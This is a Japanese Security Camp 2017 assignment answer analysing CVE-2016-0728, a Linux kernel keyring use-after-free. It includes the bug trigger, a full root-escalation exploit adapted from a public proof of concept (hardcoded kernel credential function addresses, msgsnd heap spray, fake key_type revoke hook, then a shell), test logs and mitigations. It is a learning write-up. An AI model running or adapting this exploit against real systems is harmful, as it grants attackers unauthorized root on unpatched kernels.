Seccamp 2017 課題
以下のプログラムはLinuxカーネル3.8〜4.4に存在する脆弱性を悪用しています。このプログラムの実行により発生する不具合を説明してください。また、この脆弱性をさらに悪用することでroot権限昇格を行うエクスプロイトを記述し、自分が試した動作環境や工夫点等を説明してください。加えて、このような攻撃を緩和する対策手法をなるべく多く挙げ、それらを説明してください。 完全には分からなくても構いませんので、理解できたところまでの情報や試行の過程、感じた事等について自分の言葉で記述してください。また参考にしたサイトや文献があれば、それらの情報源を明記してください。
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
検証環境は以下のとおりです。
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
私はこの脆弱性をはじめて知ったのですが、調べてわかったこと、その過程で試してみたことについて記述します。最初に、このプログラムで使われている鍵保存サービスについて、そして今回のプログラムが悪用するUse-After-Free脆弱性とそれがプログラムの何が原因で起こっているのか説明し、それによってどういう不具合が生じるかについて述べます。今回の脆弱性はCVE-2016-0728として登録されており、その概要については、以下のサイトを参考にしました。
また、Linuxの鍵保存サービスについても初めて知ったものだったので、IBMのLinux鍵保存サービス入門のWebページ
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
と検証環境であるLinux kernel 3.19のソースコード
カーネルメッセージをホストOSにネットワーク経由で送るのに DEBUG HACKS - デバッグを極めるテクニック&ツール(O'REILLY)
を参考にしました。
このプログラム(以下、これをleak.cと呼びます)はLinuxの鍵保存サービスに存在するバグを悪用していて、このバグによってUse-After-Free脆弱性に繋がっています。Use-After-Free脆弱性とは、プログラムの不整合によって、解放済のヒープメモリアドレが参照されてしまう場合に任意のコードが実行可能となるものです。まず、このプログラムが使用するシステムコールkeyctl()について説明し、そこにどのようなバグが存在するか記述します。
それぞれのプロセスはkeyctl(KEYCTL_JOIN_SESSION_KEYRING, name)
というシステムコールによって現在のセッションのためのプロセス毎の鍵リングを作成することができます。この鍵リングはその名前nameを参照することによって、プロセス間で共有することができます。もしプロセスが既にセッション鍵リングを持っている場合、このシステムコールはセッション鍵リングを新しい鍵リングと置き換えます。ここの動作についてもっとよく知りたかったので、カーネルのソースコードの/security/keys/process_keys.cのjoin_session_keyring関数を参照しました。それは以下のようなプログラムになっています。セッション鍵リングを新規のセッション鍵リングと置き換える際に、key_putという関数をスキップします。key_put関数は引数に与えられた鍵リングの参照を破棄する関数です。それをスキップすることによって、その新しい鍵リングへの参照が残っている状態になり、これがUse-After-Free脆弱性に繋がっています。
この鍵リングがプロセス間で共有されているとき、構造体keyのusageメンバに保存されている内部の参照回数が増加します。usageメンバはatomic_tという型ですが、これは実際にはint型変数一つを含むstructのtypedefとして定義されています。また、このusageメンバのオーバーフローを防ぐ機構がないため、このメンバを増加させていくことでp−バーフローして0になるまで参照できます。usageメンバが0になった時、鍵リングのサブシステム内部でのガベージコレクションによって、その鍵リングは解放されます。この解放された領域にユーザー空間から別の任意の処理を行うカーネルモジュールを配置することにより、その処理をカーネルの権限で実行することができます。
参考にしたサイトでは、leak.cをkeyutilsというライブラリをコンパイルして実行すると、/proc/keysにはleaked_keyというセッション鍵リングが登録され、100回参照されたことが示されます。このプログラムを実行する前後でleaked-keyringが以下のように表示されることを確かめていました。
# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
しかし、検証環境ではleaked-keyringは表示されませんでした。試しに、forループの条件文をi < 0x1000000のように大きい数にして見てみると、プログラムの実行中にはleaked-keyringが表示されていました。今回はusageメンバをオーバーフローさせることでkeyを解放してそこに新しいカーネルオブジェクトを配置することで攻撃が成立します。そこで、実際に試してみることにしました。exploitコードは以下のサイトを参考にしました。
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
実行した結果、権限が変化せず、実行ユーザーの権限でシェルが起動していました。ここでまず思ったことは、自分の環境は更新されていて、パッチが適用済みなのではないか、ということです。この脆弱性は2016年1月頃に発表されたもので、それまでに自分の環境はアップデートを行っていたためです。そこで、一度新しい仮想環境内(kernel 3.18.52)で定数値を変化させて試しましたが、うまくいきませんでした。また、SMAPやSMEPというメモリ保護の機構が働いているとexploitがうまく動かないとの報告がありました。SMEPはカーネルモードにおいてユーザー空間アドレスのコードの実行が禁止され、SMAPはカーネルモードにおいてユーザー空間アドレスへのアクセスを禁止するセキュリティ機構です。gistのコメントではkernel 3.18.25ではuidが0で起動できたがvmがフリーズすることが複数の人によって検証されていたコードがあり、それを試してみることにしました。リンクはこちらになります(https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830)、カーネルをビルドして(kernel 3.18.25)SMAPもSMEPも無効にした状態のものに対して試してみました。実行環境は以下の通りです。SMAPはビルド時に.configで無効化していて、grubの設定ファイル(/boot/grub/grub.cfg)でSMEPも無効化しています。
$ uname -r
3.18.25
この環境でleakを実行してみると、/proc/keysは以下のようになりました。
$ cat /proc/keys
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
実際に参考にしたサイトのように鍵リングオブジェクトが確認できます。そこで、exploitを実行したところ、やはりこちらでもプログラムの実行ユーザの権限でシェルを起動していました。そこで、exploitをwatchコマンドで/proc/keysを0.1秒間隔で監視してみると、usageメンバがちょうど0にならない場合(途中でプログラムを中断した際に生成された鍵リングと同じ名前の鍵リングを指定してexploitを動かすと、オーバーフローした後に再度その鍵リングオブジェクトのusageメンバは増加していきました。)はjoin_session_keyringは新しい鍵リングオブジェクトを生成していることがわかったので、参照カウンタはちょうど0になるように調整しないと鍵オブジェクトが解放されないのではと考えました。参照カウンタが0になったとき、たしかに鍵リングオブジェクトは見えないようになっていて、解放されたと考えられます。何度か続けて実行しているとrootは取れている(uid=0, euid=0)がその直後にカーネルパニックを起こしてVMがフリーズする、というところまで確認しました。
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed
そこで、カーネルメッセージをnetconsole経由でホストOSに転送してログを読んでみたのですが、commit_credsやkernel_prepare_credといった定数値のアドレスで検索をかけてみたのですが、該当する箇所は見つかりませんでした。結局、rootを奪取してシェルを起動させることはできませんでした。
以上のことからこの脆弱性を利用した攻撃に対しては、SMAPやSMEPといったCPUのカーネル保護機構を有効にしておくことで、攻撃を難しくすることが可能です。また、脆弱性が公開されてしばらくすると、各ディストリビューションからパッチを含むカーネルのアップデートが提供されるので、そのアップデートを適用することで攻撃を防ぐことができます。この脆弱性について調べている途中で、kernel3.18.52でPoCコードを実行した際には/proc/keysを監視していると鍵リングオブジェクトのusageメンバは増加と減少を繰り返していたため、カーネル3.18.25から3.18.52の間に鍵リング関係のコードもしくはjoin_session_keyring関数で使用されているabort_creds関数が変更されて、参照カウンタ(ここではusageメンバ)を増加させる仕組みが変わったのかなぁと思いました。というのも、参考サイトでは参照カウンタusageはjoin_session_keyring中で2度ずつ増加、減少されており、その中でabort_credsがusageメンバを非同期的に、RCUジョブという処理の後に参照カウンタの減算処理を行っていることが重要である、という風に書かれていたためです。
この脆弱性について調べたときは一般ユーザーから特権ユーザーに権限昇格できるとのことで驚きとともに、不安もあったのですが、exploitのPoCコードの検証をしたり調べたりしているうちに、攻撃者はカーネルのバージョンも特定しなければならず、またSMEPやSMAPが有効な場合はそのバイパスも行わければいけない、確実に成功するとは限らない上に失敗するとカーネルパニックを起こすため、攻撃に気づかれるなど、攻撃者にとってはあまり嬉しくないことがたくさんあるのを知り、実際に攻撃手法として有用なのかということに疑問を持ちました。